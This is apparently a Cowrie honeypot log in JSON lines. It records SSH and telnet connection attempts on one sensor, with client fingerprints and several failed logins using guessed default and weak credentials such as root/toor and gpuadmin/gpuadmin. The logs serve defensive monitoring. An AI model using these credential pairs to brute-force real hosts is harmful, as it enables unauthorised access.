{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":45160,"dst_ip":"159.203.135.109","dst_port":22,"session":"86ec573cf5cc","protocol":"ssh","message":"New connection: 192.109.200.237:45160 (159.203.135.109:22) [session: 86ec573cf5cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:26:31.125566Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:26:31.130299Z","src_ip":"192.109.200.237","session":"86ec573cf5cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:26:31.212464Z","src_ip":"192.109.200.237","session":"86ec573cf5cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"toor","message":"login attempt [root/toor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:26:31.459653Z","src_ip":"192.109.200.237","session":"86ec573cf5cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":14.759061336517334,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:26:32.537713Z","src_ip":"152.42.224.71","session":"ba9c6a7d0e60","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:26:32.627275Z","src_ip":"192.109.200.237","session":"86ec573cf5cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.110.201","src_port":58538,"dst_ip":"159.203.135.109","dst_port":22,"session":"77669c4afb8a","protocol":"ssh","message":"New connection: 94.159.110.201:58538 (159.203.135.109:22) [session: 77669c4afb8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:26:34.007040Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:26:34.011687Z","src_ip":"94.159.110.201","session":"77669c4afb8a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:26:34.131613Z","src_ip":"94.159.110.201","session":"77669c4afb8a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":45168,"dst_ip":"159.203.135.109","dst_port":22,"session":"37f1c8a32876","protocol":"ssh","message":"New connection: 192.109.200.237:45168 (159.203.135.109:22) [session: 37f1c8a32876]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:26:34.397463Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:26:34.402430Z","src_ip":"192.109.200.237","session":"37f1c8a32876","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:26:34.484247Z","src_ip":"192.109.200.237","session":"37f1c8a32876","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"loveyou","message":"login attempt [root/loveyou] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:26:34.491860Z","src_ip":"94.159.110.201","session":"77669c4afb8a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gpuadmin","password":"gpuadmin","message":"login attempt [gpuadmin/gpuadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:26:34.728699Z","src_ip":"192.109.200.237","session":"37f1c8a32876","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:26:35.612038Z","src_ip":"94.159.110.201","session":"77669c4afb8a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:26:35.813115Z","src_ip":"192.109.200.237","session":"37f1c8a32876","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":45172,"dst_ip":"159.203.135.109","dst_port":22,"session":"bb5aeefdc47c","protocol":"ssh","message":"New connection: 192.109.200.237:45172 (159.203.135.109:22) [session: bb5aeefdc47c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:26:37.741774Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:26:37.747177Z","src_ip":"192.109.200.237","session":"bb5aeefdc47c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:26:37.830745Z","src_ip":"192.109.200.237","session":"bb5aeefdc47c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"onkar","password":"onkar123","message":"login attempt [onkar/onkar123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:26:38.077182Z","src_ip":"192.109.200.237","session":"bb5aeefdc47c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:26:39.162420Z","src_ip":"192.109.200.237","session":"bb5aeefdc47c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":40920,"dst_ip":"159.203.135.109","dst_port":22,"session":"6e95945a22a3","protocol":"ssh","message":"New connection: 192.109.200.237:40920 (159.203.135.109:22) [session: 6e95945a22a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:26:41.084811Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:26:41.106471Z","src_ip":"192.109.200.237","session":"6e95945a22a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:26:41.169847Z","src_ip":"192.109.200.237","session":"6e95945a22a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456@","message":"login attempt [root/Aa123456@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:26:41.487931Z","src_ip":"192.109.200.237","session":"6e95945a22a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:26:42.572045Z","src_ip":"192.109.200.237","session":"6e95945a22a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40476,"dst_ip":"10.17.0.5","dst_port":23,"session":"a54623622231","protocol":"telnet","message":"New connection: 152.42.224.71:40476 (10.17.0.5:23) [session: a54623622231]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:26:43.829679Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":60566,"dst_ip":"10.17.0.5","dst_port":22,"session":"4cd3b486894e","protocol":"ssh","message":"New connection: 103.27.238.120:60566 (10.17.0.5:22) [session: 4cd3b486894e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:26:43.997543Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:26:44.002888Z","src_ip":"103.27.238.120","session":"4cd3b486894e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:26:44.273822Z","src_ip":"103.27.238.120","session":"4cd3b486894e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":40924,"dst_ip":"159.203.135.109","dst_port":22,"session":"6420dc072d89","protocol":"ssh","message":"New connection: 192.109.200.237:40924 (159.203.135.109:22) [session: 6420dc072d89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:26:44.413146Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:26:44.417834Z","src_ip":"192.109.200.237","session":"6420dc072d89","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:26:44.499780Z","src_ip":"192.109.200.237","session":"6420dc072d89","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mcserver","password":"mcserver","message":"login attempt [mcserver/mcserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:26:44.745514Z","src_ip":"192.109.200.237","session":"6420dc072d89","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2698026980a","message":"login attempt [root/2698026980a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:26:45.117719Z","src_ip":"103.27.238.120","session":"4cd3b486894e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:26:45.831704Z","src_ip":"192.109.200.237","session":"6420dc072d89","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.91639947891235,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:26:46.043909Z","src_ip":"152.42.224.71","session":"374d4c04a347","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:26:46.394109Z","src_ip":"103.27.238.120","session":"4cd3b486894e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":40936,"dst_ip":"159.203.135.109","dst_port":22,"session":"70ae7239978f","protocol":"ssh","message":"New connection: 192.109.200.237:40936 (159.203.135.109:22) [session: 70ae7239978f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:26:47.612020Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:26:47.616569Z","src_ip":"192.109.200.237","session":"70ae7239978f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:26:47.698478Z","src_ip":"192.109.200.237","session":"70ae7239978f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"12345678","message":"login attempt [user1/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:26:47.944428Z","src_ip":"192.109.200.237","session":"70ae7239978f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:26:49.158005Z","src_ip":"192.109.200.237","session":"70ae7239978f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":34486,"dst_ip":"159.203.135.109","dst_port":22,"session":"f62495a60792","protocol":"ssh","message":"New connection: 192.109.200.237:34486 (159.203.135.109:22) [session: f62495a60792]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:26:50.967414Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:26:50.972450Z","src_ip":"192.109.200.237","session":"f62495a60792","protocol":"ssh"}
